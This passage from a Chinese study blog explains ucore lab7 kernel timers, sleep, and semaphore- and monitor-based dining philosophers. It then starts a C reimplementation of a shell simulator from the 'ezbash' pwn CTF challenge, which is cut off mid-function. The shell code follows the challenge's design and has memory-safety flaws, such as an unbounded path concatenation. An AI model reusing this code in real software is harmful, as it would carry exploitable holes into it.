cas(&i,0,1);
  • 更新内存地址“i”的时候,需要告诉CPU过去的值“0”,和想要更新的值“1”,CPU会先对比过去的值,然后再更新需要的值“1”,如果对比不通过,CPU就不作出相应
  • 通过这种方式,CPU可以给更多指令添加原子操作

假设有两个线程:(“i”初始化为“0”)

1
2
A: i++;
B: i++;

线程A可以通过“cas(&i,0,1)”,然后“i”变为“1”,线程B就不能通过了,然后线程B就会采取如下操作:

1
while(!cas(&i,i,i++));

锁是一个抽象的数据结构:

  • 使用一个二进制变量,用于表示锁定/解锁
  • Lock::Acquire():锁被释放前一直等待,直到得到锁
  • Lock::Release():释放锁,唤醒任何等待的进程

使用锁可以解决一些 cas 无法解决的问题

定时器

定时器(timer)可以帮助操作系统在 经过一段特定时间 后执行一些特殊操作(例如:唤醒执行线程),可以说,正是有了定时器,操作系统才有了时间这个概念

timer_t 结构体中存储了一个定时器所需要的相关数据,包括 倒计时时间 以及 所绑定的进程

1
2
3
4
5
typedef struct {
unsigned int expires; // 定时器的过期时间(指定定时器到期的时间)
struct proc_struct *proc; // 在计时器中等待的进程(如果过期时间已结束,该进程将被重新安排)
list_entry_t timer_link; // 计时器链表(用于管理计时器)
} timer_t;

以下便是 ucore 中和定时器有关的函数:

  • timer_init:用于初始化并返回某个 timer(各个参数都需要手动设置)
1
2
3
4
5
6
7
static inline timer_t *
timer_init(timer_t *timer, struct proc_struct *proc, int expires) {
timer->expires = expires;
timer->proc = proc;
list_init(&(timer->timer_link));
return timer;
}
  • add_timer:用于将某个 timer 按照 expires 的大小添加进 timer链表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static list_entry_t timer_list; /* 记录有timer链表的链表头 */

void
add_timer(timer_t *timer) {
bool intr_flag;
local_intr_save(intr_flag); /* local_intr_save:屏蔽中断 */
{
assert(timer->expires > 0 && timer->proc != NULL);
assert(list_empty(&(timer->timer_link)));
list_entry_t *le = list_next(&timer_list); /* 获取链表头 */
while (le != &timer_list) { /* 遍历整个链表,按照expires大小插链(从小到大) */
timer_t *next = le2timer(le, timer_link);
if (timer->expires < next->expires) {
next->expires -= timer->expires; /* 使目标结点next的expires减去timer->expires */
break;
}
timer->expires -= next->expires; /* 每遍历一次,timer->expires不断减小(保证了expires是从小到大排序的) */
le = list_next(le);
}
list_add_before(le, &(timer->timer_link)); /* 插入结点前(从小到大) */
}
local_intr_restore(intr_flag); /* local_intr_restore:打开中断 */
}
  • del_timer:用于将某个 timertimer链表 中删除
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void del_timer(timer_t *timer) {
bool intr_flag;
local_intr_save(intr_flag); /* local_intr_save:屏蔽中断 */
{
if (!list_empty(&(timer->timer_link))) {
if (timer->expires != 0) {
list_entry_t *le = list_next(&(timer->timer_link));
if (le != &timer_list) {
timer_t *next = le2timer(le, timer_link);
next->expires += timer->expires; /* 设使目标结点next的expires加上timer->expires(平衡add_timer的影响) */
}
}
list_del_init(&(timer->timer_link)); /* 将当前timer从链表中移除 */
}
}
local_intr_restore(intr_flag); /* local_intr_restore:打开中断 */
}
  • run_timer_list:用于更新定时器的时间,并更新当前进程的运行时间片,如果当前定时器的剩余时间结束,则唤醒某个处于 WT_INTERRUPTED 等待状态的进程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#define WT_INTERRUPTED               0x80000000 /* 等待状态可以被中断(可以苏醒) */

void
run_timer_list(void) {
bool intr_flag;
local_intr_save(intr_flag); /* local_intr_save:屏蔽中断 */
{
list_entry_t *le = list_next(&timer_list); /* 获取timer链表头 */
if (le != &timer_list) {
timer_t *timer = le2timer(le, timer_link); /* 获取第一个timer结构体 */
assert(timer->expires != 0);
timer->expires --; /* 间接使所有timer的expires都减一的目的 */
while (timer->expires == 0) { /* 遍历timer链表,找出所有连续的expires为0的timer,将其唤醒后再把timer删除 */
le = list_next(le);
struct proc_struct *proc = timer->proc; /* 获取对应的进程 */
if (proc->wait_state != 0) {
assert(proc->wait_state & WT_INTERRUPTED); /* 断言正在等待的目标进程的wait_state是WT_INTERRUPTED */
}
else {
warn("process %d's wait_state == 0.\n", proc->pid);
}
wakeup_proc(proc); /* 设置新的子进程可执行(唤醒该进程) */
del_timer(timer); /* 用于将某个timer从timer链表中删除 */
if (le == &timer_list) {
break;
}
timer = le2timer(le, timer_link);
}
}
sched_class_proc_tick(current); /* 处理时钟中断的函数,令调度框架更新对应的调度参数(lab6中用此函数处理时钟中断,lab7中被run_timer_list替代) */
}
local_intr_restore(intr_flag); /* local_intr_restore:打开中断 */
}

定时器的检查机制:

内核会每隔一段时间会检查一次定时器(如果定时器的 expires 为“0”,内存就会执行某个进程),但是检查的频率可能不相同,对于 expires 越小的定时器,内核检查的频率越高(例如:如果 expires 为“一年”,可能内核就一个月检查一次,如果 expires 小于一个月,内核就每天检查一次)

  • 处于性能考虑,每个新添加的 timer 都会按照其 expires 属性的大小排列,同时减去上一个 timer 的 expires 属性
    • 在 run_timer_list 中,程序会遍历 timer 链表,找出所有连续的expires为“0”的 timer,所以按大小排序后,一次执行 run_timer_list 后可能会找到多个目标,提高了效率
    • 按照 timer 的机制:在更新 timer_list 中的所有 timer 的 expires 时,只需递减链首的第一个 timer 的 expire,即可间接达到所有 timer 的 expires 减一的目的
1
2
3
4
5
6
7
8
9
timer1->expires = 20;
timer2->expires = 38;
timer3->expires = 24;
timer4->expires = 10;
----------------------------
timer1插入 >> timer1:20
timer2插入 >> timer1:20 <=> timer2:18(38)
timer3插入 >> timer1:20 <=> timer3:4(24) <=> timer2:14(38)
timer4插入 >> timer4:10 <=> timer1:10(20) <=> timer3:4(24) <=> timer2:14(38)
  • 在目标 timer 遍历的时候会不断减去 “结点timer->expires” ,这样保证了 timer 链表中,原来的 timer->expires(没有进行过加减操作,是真正的 timer)是按从小到大排序的
  • 这样也避免了 “结点timer->expires” 或者 “目标timer->expires” 被减到“0”的情况发生

案例:do_sleep(将当前进程状态设置为睡眠)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int
do_sleep(unsigned int time) {
if (time == 0) {
return 0;
}
bool intr_flag;
local_intr_save(intr_flag); /* 关闭中断 */
timer_t __timer, *timer = timer_init(&__timer, current, time);
/*
__timer:未初始化的timer
current:为该timer绑定进程(current当前进程)
time:设置剩余时间
*timer:初始化完毕的timer(__timer只是临时数据,最终会把数据返回给*timer)
*/
current->state = PROC_SLEEPING; /* 设置进程状态为:PROC_SLEEPING(睡眠) */
current->wait_state = WT_TIMER; /* 设置等待原因为:等待定时器 */
add_timer(timer); /* 添加该定时器 */
local_intr_restore(intr_flag); /* 重新打开中断 */

schedule(); /* 执行调度程序(当前进程放弃CPU资源) */

del_timer(timer); /* 删除定时器 */
return 0;
}

这里我会结合前面实验中有关进程的调度的部分内容,详细描述一下这个过程:

  • 内核的第一个进程 idleproc(空闲进程)会执行 cpu_idle 函数,在这个函数中循环执行 schedule 用于空闲进程的调度,这个函数是永远不会停止的
  • 其他的进程都会因为schedule 而被调度,又会因为各种原因被中断,然后再次调度
  • 当 “PROC_SLEEPING” 被设置时:schedule 就已经不会再调度该进程了,如果再次执行schedule ,CPU就会放弃当前进程,转而去遍历整个进程链表,直到找出处于就绪状态的进程,并将其调度
  • 当 “add_timer(timer)” 执行时:绑定有当前进程的 timer 被链入 timer 链表,然后CPU会周期性调用 run_timer_list 检查 timer->expires 是否为“0”
  • 如果时间结束,就会调用 wakeup_proc 重新设置该进程为 “PROC_RUNNABLE” ,这样schedule 就可以再次调度该进程了

练习0-把 lab6 的内容复制粘贴到 lab7

trap_dispatch 中有关时钟中断的部分需要更新:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
static void
trap_dispatch(struct trapframe *tf) {
char c;

int ret=0;

switch (tf->tf_trapno) {
case T_PGFLT: /* 页错误异常(page fault) */
if ((ret = pgfault_handler(tf)) != 0) {
print_trapframe(tf);
/* lab5新增:与进程相关的if判断语句 */
if (current == NULL) {
panic("handle pgfault failed. ret=%d\n", ret);
}
else {
if (trap_in_kernel(tf)) {
panic("handle pgfault failed in kernel mode. ret=%d\n", ret);
}
cprintf("killed by kernel.\n");
panic("handle user mode pgfault failed. ret=%d\n", ret);
do_exit(-E_KILLED);
}
}
break;
case T_SYSCALL: /* 系统调用(syscall) */
syscall();
break;

/* <---- start ----> */
case IRQ_OFFSET + IRQ_TIMER:
ticks ++;
assert(current != NULL);
run_timer_list(); /* lab7新添:更新定时器的时间,并更新当前进程的运行时间片 */
break;
/* <---- end ----> */

case IRQ_OFFSET + IRQ_COM1: /* 中断请求-串口中断 */
c = cons_getc();
cprintf("serial [%03d] %c\n", c, c);
break;
case IRQ_OFFSET + IRQ_KBD: /* 中断请求-键盘中断 */
c = cons_getc();
cprintf("kbd [%03d] %c\n", c, c);
break;
case T_SWITCH_TOU: /* 中断请求-内核到用户空间触发的中断 */
case T_SWITCH_TOK: /* 中断请求-用户空间到内核触发的中断 */
panic("T_SWITCH_** ??\n");
break;
case IRQ_OFFSET + IRQ_IDE1: /* 中断请求-IDE通道1中断 */
case IRQ_OFFSET + IRQ_IDE2: /* 中断请求-IDE通道2中断 */
/* 本实验不涉及这一部分 */
break;
default:
/* lab5改动:完善了报错处理 */
print_trapframe(tf); /* 打印trapframe结构体(中断帧,用于存储执行中断的信息) */
if (current != NULL) {
cprintf("unhandled trap.\n");
do_exit(-E_KILLED);
}
panic("unexpected trap in kernel.\n");
}
}

练习1-理解内核级信号量的实现和基于内核级信号量的哲学家就餐问题

哲学家就餐问题:

  • 五个哲学家共用一张圆桌,分别坐在周围的五张椅子上,在圆桌上有五个碗和五只筷子,他们的生活方式是交替的进行思考和进餐,平时,一个哲学家进行思考,饥饿时便试图取用其左右最靠近他的筷子,只有在他拿到两只筷子时才能进餐,进餐完毕,放下筷子继续思考

ucore 中的案例:

  • 相关宏定义与结构体:
1
2
3
4
5
6
7
8
#define N 5 /* 哲学家数目 */
#define LEFT (i-1+N)%N /* i的左邻号码 */
#define RIGHT (i+1)%N /* i的右邻号码 */
#define THINKING 0 /* 哲学家正在思考 */
#define HUNGRY 1 /* 哲学家想取得叉子 */
#define EATING 2 /* 哲学家正在吃面 */
#define TIMES 4 /* 吃4次饭 */
#define SLEEP_TIME 10
  • philosopher_using_semaphore:实现主体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int state_sema[N]; /* 记录每个人状态的数组 */
semaphore_t mutex; /* 临界区互斥 */
semaphore_t s[N]; /* 每个哲学家一个信号量 */

struct proc_struct *philosopher_proc_sema[N];

int philosopher_using_semaphore(void * arg) /* i:哲学家号码,从0到N-1 */
{
int i, iter=0;
i=(int)arg;
cprintf("I am No.%d philosopher_sema\n",i);
while(iter++<TIMES)
{ /* 无限循环 */
cprintf("Iter %d, No.%d philosopher_sema is thinking\n",iter,i); /* 哲学家正在思考 */
do_sleep(SLEEP_TIME);
phi_take_forks_sema(i); /* 需要两只叉子,或者阻塞 */
cprintf("Iter %d, No.%d philosopher_sema is eating\n",iter,i); /* 进餐 */
do_sleep(SLEEP_TIME);
phi_put_forks_sema(i); /* 把两把叉子同时放回桌子 */
}
cprintf("No.%d philosopher_sema quit\n",i);
return 0;
}
  • phi_take_forks_sema:需要两只叉子,或者阻塞
1
2
3
4
5
6
7
8
void phi_take_forks_sema(int i) /* i:哲学家号码从0到N-1 */
{
down(&mutex); /* 进入临界区 */
state_sema[i]=HUNGRY; /* 记录下哲学家i饥饿的事实 */
phi_test_sema(i); /* 哲学家尝试得到两只叉子,并且进餐 */
up(&mutex); /* 离开临界区 */
down(&s[i]); /* 如果得不到叉子就阻塞 */
}
  • phi_put_forks_sema:把两把叉子同时放回桌子
1
2
3
4
5
6
7
8
void phi_put_forks_sema(int i) /* i:哲学家号码从0到N-1 */
{
down(&mutex); /* 进入临界区 */
state_sema[i]=THINKING; /* 哲学家进餐结束 */
phi_test_sema(LEFT); /* 看一下左邻居现在是否能进餐 */
phi_test_sema(RIGHT); /* 看一下右邻居现在是否能进餐 */
up(&mutex); /* 离开临界区 */
}
  • phi_test_sema:哲学家尝试得到两只叉子,并且进餐
1
2
3
4
5
6
7
8
void phi_test_sema(i) /* i:哲学家号码从0到N-1 */
{
if(state_sema[i]==HUNGRY && state_sema[LEFT]!=EATING && state_sema[RIGHT]!=EATING) /* 哲学家自己是饥饿状态,左右两边的哲学家都不是进食状态 */
{
state_sema[i]=EATING; /* 设置为进食状态 */
up(&s[i]);
}
}

完整过程:

  • 哲学家会循环进行两件事情:
    • phi_take_forks_sema:拿起两把叉子准备进食
    • phi_put_forks_sema:放回两把叉子
  • 本程序没有对叉子进行标记,而是通过检查相邻哲学家的进食状态,来判断自己是否可以进食
  • 在哲学家执行 phi_put_forks_sema 时,会检查相邻的哲学家是否可以进食(因为自己进食以后会归还叉子,给相邻哲学家创造了进食机会)

练习2-完成内核级条件变量和基于内核级条件变量的哲学家就餐问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct monitor{ /* 管程 */
semaphore_t mutex; // 管程锁,每次只能有一个进程执行管程代码(该值初始化为'1')
semaphore_t next; // 用于条件同步(进程同步操作的信号量),发出signal操作的进程等条件为真之前进入睡眠
int next_count; // 休眠的信令进程数
condvar_t *cv; // 当前管程中存放所有条件变量的数组
} monitor_t;

typedef struct condvar{ /* 条件变量 */
semaphore_t sem; // 条件变量所对应的信号量
int count; // 等待当前条件变量的等待进程总数
monitor_t * owner; // 当前条件变量的父管程
} condvar_t;

typedef struct { /* 信号量 */
int value; // 信号量值
wait_queue_t wait_queue; // 等待队列
} semaphore_t;

monitor_init 函数会初始管程,而对信号量进行的 P(),V() 操作(up,down)将会被封装为控制管程的两个函数 - cond_signal 和 cond_wait:

  • cond_signal:当某个线程准备离开临界区,准备释放对应的条件变量时,执行该函数
1
2
3
4
5
6
7
8
9
10
11
void 
cond_signal (condvar_t *cvp) {
cprintf("cond_signal begin: cvp %x, cvp->count %d, cvp->owner->next_count %d\n", cvp, cvp->count, cvp->owner->next_count);
if(cvp->count>0) {
cvp->owner->next_count ++;
up(&(cvp->sem)); /* 尝试唤醒条件变量cvp对应的信号量中的等待队列中的第一项 */
down(&(cvp->owner->next));
cvp->owner->next_count --;
}
cprintf("cond_signal end: cvp %x, cvp->count %d, cvp->owner->next_count %d\n", cvp, cvp->count, cvp->owner->next_count);
}
  • cond_wait:当某个线程需要等待锁时,执行该函数
1
2
3
4
5
6
7
8
9
10
11
12
void
cond_wait (condvar_t *cvp) {
cprintf("cond_wait begin: cvp %x, cvp->count %d, cvp->owner->next_count %d\n", cvp, cvp->count, cvp->owner->next_count);
cvp->count++;
if(cvp->owner->next_count > 0)
up(&(cvp->owner->next));
else
up(&(cvp->owner->mutex));
down(&(cvp->sem));
cvp->count --;
cprintf("cond_wait end: cvp %x, cvp->count %d, cvp->owner->next_count %d\n", cvp, cvp->count, cvp->owner->next_count);
}

下面是对哲学家就餐问题的改进:(基于管程)

  • philosopher_using_condvar:程序主体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct proc_struct *philosopher_proc_condvar[N]; // N个哲学家
int state_condvar[N]; // 哲学家的状态
monitor_t mt, *mtp=&mt; // 管程

int philosopher_using_condvar(void * arg) {
int i, iter=0;
i=(int)arg;
cprintf("I am No.%d philosopher_condvar\n",i);
while(iter++<TIMES)
{
cprintf("Iter %d, No.%d philosopher_condvar is thinking\n",iter,i);
do_sleep(SLEEP_TIME);
phi_take_forks_condvar(i); /* 需要两只叉子,或者阻塞 */

cprintf("Iter %d, No.%d philosopher_condvar is eating\n",iter,i);
do_sleep(SLEEP_TIME);
phi_put_forks_condvar(i); /* 把两把叉子同时放回桌子 */
}
cprintf("No.%d philosopher_condvar quit\n",i);
return 0;
}
  • phi_take_forks_condvar:需要两只叉子,或者阻塞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void phi_take_forks_condvar(int i) {
down(&(mtp->mutex));
//--------into routine in monitor--------------
state_condvar[i]=HUNGRY; /* 记录下哲学家i饥饿的事实 */
phi_test_condvar(i); /* 哲学家尝试得到两只叉子,并且进餐 */
if (state_condvar[i] != EATING) {
cprintf("phi_take_forks_condvar: %d didn't get fork and will wait\n",i);
cond_wait(&mtp->cv[i]);
}
//--------leave routine in monitor--------------
if(mtp->next_count>0)
up(&(mtp->next));
else
up(&(mtp->mutex));
}
  • phi_put_forks_condvar:把两把叉子同时放回桌子
1
2
3
4
5
6
7
8
9
10
11
12
void phi_put_forks_condvar(int i) {
down(&(mtp->mutex));
//--------into routine in monitor--------------
state_condvar[i]=THINKING;
phi_test_condvar(LEFT); /* 看一下左邻居现在是否能进餐 */
phi_test_condvar(RIGHT); /* 看一下右邻居现在是否能进餐 */
//--------leave routine in monitor--------------
if(mtp->next_count>0)
up(&(mtp->next));
else
up(&(mtp->mutex));
}
  • phi_test_condvar:哲学家尝试得到两只叉子,并且进餐
1
2
3
4
5
6
7
8
9
void phi_test_condvar (i) { 
if(state_condvar[i]==HUNGRY&&state_condvar[LEFT]!=EATING
&&state_condvar[RIGHT]!=EATING) {
cprintf("phi_test_condvar: state_condvar[%d] will eating\n",i);
state_condvar[i] = EATING ;
cprintf("phi_test_condvar: signal self_cv[%d] \n",i);
cond_signal(&mtp->cv[i]) ;
}
}
  • PS:为了让整个管程正常运行,还需在管程中的每个函数的入口和出口增加相关操作
1
2
3
4
5
6
7
8
9
10
void monitorFunc() {
down(&(mtp->mutex));
//--------into routine in monitor--------------
/* ... */
//--------leave routine in monitor--------------
if(mtp->next_count>0)
up(&(mtp->next));
else
up(&(mtp->mutex));
}

这样做的好处有两个

  • 只有一个进程在执行管程中的函数
  • 避免由于执行了 cond_signal 函数而睡眠的进程无法被唤醒

针对 “避免由于执行了 cond_signal 函数而睡眠的进程无法被唤醒” 这个优点简单说一下:

  • 管程中 waitsignal 函数的调用存在时间顺序
    • 例如:当线程1先调用 signal 唤醒线程2并将自身线程挂起后,线程2在开始执行时将无法唤醒原先的在 signal 中挂起的线程1
  • 也就是说,只要存在线程在管程中执行了 signal,那么至少存在一个线程在管程中被挂起
  • 此时,就只能在临界区外唤醒挂起的线程1,而这一步在代码中也得到了实现

mybash

几天前做了个模拟bash的pwn题 - ezbash,我把bash的执行过程看完了,打算自己写一个bash来玩玩

大部分代码都借鉴了出题人的思路,但是因为IDA对某些代码的反汇编效果很差,所以对bash的部分功能进行了阉割,对部分代码进行了修改(尤其是 cp 命令,我选择使用递归函数来复制子目录的内容)

先看下源码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
#include<stdio.h>
#include<malloc.h>
#include<string.h>
#include<stdlib.h>

#define ISDIR 0
#define ISFILE 1

typedef struct COMMAND {
int key;
char name[20];
char* echo_data;
COMMAND* last_name;
COMMAND* next_name;
COMMAND* parent_dir;
COMMAND* name_list;
}Command;

Command* malloc_empty();
void init();
char* input_command();
char** break_command(char*);
int analyse_command(char**);
int command_entry(int, char**);

int check_isdir(Command*);
int check_isfile(Command*);
int check_isrelocation(const char*);

int compare_name(Command*, const char*);
void insert_name(Command*, Command*);
void unlink_name(Command*);
void print_name();
int search_name(Command**, const char*);
void copy_name(Command*, const char*);
void copy_echo(Command*, Command*);
void copy_dir(Command*, Command*);

int cd(char**);
int ls(char**);
int mkdir(char**);
int touch(char**);
int echo(char**);
int cat(char**);
int rm(char**);
int cp(char**);
int pwd();
int help();

Command* dir_root = NULL;
Command* current = NULL;
char path[80];

const char* command_list_system[11] = {
"cd","ls","echo","cat","touch","rm","mkdir","cp","pwd","help","exit"
};

Command* malloc_empty() {
Command* chunk;

chunk = (Command*)malloc(0x40);
memset(chunk->name, 0, 0x10);
chunk->echo_data = NULL;
chunk->name_list = NULL;
chunk->last_name = NULL;
chunk->next_name = NULL;
chunk->parent_dir = NULL;
return chunk;
}

void init() {
dir_root = malloc_empty();
dir_root->key = ISDIR;
dir_root->name[0] = '/';
current = dir_root;
strncpy(path, dir_root->name, 1);
}

char* input_command() {
int command_len;
int index;
int command;
char* command_str;
command_len = 0x150;
index = 0;
command_str = (char*)malloc(0x150);
if (!command_str)
{
fwrite("ezbash: allocation error\n",1,0x19,stderr);
exit(1);
}
memset(command_str, 0, 0x150);
while (1)
{
command = getchar();
if (command == -1 || command == 10)
break;
command_str[index++] = command;
if (index >= command_len)
{
command_len += 0x150;
command_str = (char*)realloc(command_str, command_len);
if (!command_str)
{
fwrite("ezbash: allocation error\n", 1, 0x19, stderr);
exit(1);
}
memset(command_str, 0, command_len);
}
}
command_str[index] = 0;
return command_str;
}

char** break_command(char* command_str) {
int command_num;
int index;
char** command_list;
char* command;

command_num = 64;
index = 0;
command_list = (char**)malloc(0x200);
if (!command_list)
{
fwrite("ezbash: allocation error\n",1,0x19,stderr);
exit(1);
}
memset(command_list, 0, 0x200);
for (command = strtok(command_str, " \t\r\n\a"); command; command = strtok(0, " \t\r\n\a"))
{
command_list[index++] = command;
if (index >= command_num)
{
command_num += 64;
command_list = (char**)realloc(command_list, 8 * command_num);
if (!command_list)
{
fwrite("ezbash: allocation error\n", 1, 0x19, stderr);
exit(1);
}
}
}
command_list[index] = 0;
return command_list;
}

int analyse_command(char** command_list) {
int index;

if (!*command_list)
return 1;
for (index = 0; index < 11; ++index)
{
if (!strcmp(*command_list, command_list_system[index]))
return command_entry(index,command_list);
}
printf("%s: command not found\n",*command_list);
return -1;
}

void start() {
int ret;
char* command_str;
char** command_list;

do
{
printf("\x1B[33mhacker:%s$ \x1B[0m",path);
command_str = input_command();
command_list = break_command(command_str);
ret = analyse_command(command_list);
free(command_str);
free(command_list);
}
while (ret);
}

int command_entry(int index, char** command_list){
int ret = 1;

switch (index)
{
case 0:
ret = cd(command_list);
break;
case 1:
ret = ls(command_list);
break;
case 2:
ret = echo(command_list);
break;
case 3:
ret = cat(command_list);
break;
case 4:
ret = touch(command_list);
break;
case 5:
ret = rm(command_list);
break;
case 6:
ret = mkdir(command_list);
break;
case 7:
ret = cp(command_list);
break;
case 8:
ret = pwd();
break;
case 9:
ret = help();
break;
case 10:
ret = 0;
default:
break;
}
return ret;
}

int cd(char** command_list) {
size_t len;
const char* name_input;
Command* name_list;
char delim[2];

if (command_list[1] != NULL)
{
if (command_list[2] != NULL)
{
fwrite("ezbash: too many arguments\n", 1, 0x1b, stderr);
}
else
{
strcpy(delim, "/");
for (name_input = strtok(command_list[1], delim); name_input; name_input = strtok(0, delim))
{
if (strcmp(name_input, ".") != 0)
{
if (strcmp(name_input, "..") == 0)
{
if (current->parent_dir)
{
len = strlen(current->name);
path[strlen(path) - 1 - len] = 0;
current = current->parent_dir;
}
}
else
{
name_list = current->name_list;
if (compare_name(name_list, name_input) == 1)
{
fprintf(stderr, "ezbash: %s: No such file or directory\n", name_input);
return 1;
}
while (name_list && strcmp(name_list->name, name_input))
name_list = name_list->next_name;
if (check_isdir(name_list) == 0)
{
fwrite("ezbash: object must be directory\n",1,0x19,stderr);
return 1;
}
current = name_list;
len = strlen(path);
if (len + strlen(name_list->name) <= 0x50)
{
strcat(path, name_list->name);
path[strlen(path)] = '/';
}
}
}
}
}
}
else
{
fwrite("ezbash: no arguments\n", 1, 0x15, stderr);
}
return 1;
}

int mkdir(char** command_list) {
char delim[2];
int index;
Command* chunk;
Command* name_list;
Command* name_new;

index = 1;
memcpy(delim, "./", sizeof(delim));
if (!command_list[1])
fwrite("ezbash: missing operand\n", 1, 0x18, stderr);
while (command_list[index])
{
name_list = current->name_list;
if (strchr(command_list[index], delim[0]))
{
index++;
}
else if (strchr(command_list[index], delim[1]))
{
index++;
}
else if (compare_name(name_list, command_list[index]) != 1)
{
fprintf(stderr, "ezbash: cannot create directory '%s': already exists\n", command_list[index++]);
}
else
{
chunk = malloc_empty();
name_new = chunk;
chunk->key = ISDIR;
chunk->parent_dir = current;
copy_name(chunk, command_list[index]);
if (current->name_list)
insert_name(name_list, name_new);
else
current->name_list = name_new;
index++;
}
}
return 1;
}

int touch(char** command_list) {
char delim[2];
int index;
Command* chunk;
Command* name_list;
Command* name_new;

index = 1;
memcpy(delim, "./", sizeof(delim));
if (!command_list[1])
fwrite("ezbash: missing operand\n", 1, 0x18, stderr);
while (command_list[index])
{
name_list = current->name_list;
if (strchr(command_list[index], delim[0]))
{
index++;
}
else if (strchr(command_list[index], delim[1]))
{
index++;
}
else if (compare_name(name_list, command_list[index]) != 1)
{
fprintf(stderr, "ezbash: cannot create directory '%s': already exists\n", command_list[index++]);
}
else
{
chunk = malloc_empty();
name_new = chunk;
chunk->key = ISFILE;
chunk->parent_dir = current;
copy_name(chunk, command_list[index]);
if (current->name_list)
insert_name(name_list, name_new);
else
current->name_list = name_new;
index++;
}
}
return 1;
}

int ls(char** command_list) {
Command* name_list;
Command* current_temp;
const char* name_input;
char delim[2];
int index = 0;

strcpy(delim, "/");
if (command_list[1] == NULL)
print_name();
else if (command_list[2] == NULL)
{
for (name_input = strtok(command_list[1], delim); name_input; name_input = strtok(0, delim))
{
if (strcmp(name_input, ".") != 0)
{
current_temp = current;
if (strcmp(name_input, "..") == 0)
{
if (current->parent_dir)
{
current = current->parent_dir;
print_name();
current = current_temp;
}
}
else
{
name_list = current->name_list;
if (compare_name(name_list, name_input) == 1)
{
fprintf(stderr, "ezbash: %s: No such file or directory\n", name_input);
return 1;
}
while (name_list && strcmp(name_list->name, name_input))
name_list = name_list->next_name;
if (check_isdir(name_list) == 0)
{
fwrite("ezbash: object must be directory\n", 1, 0x21, stderr);
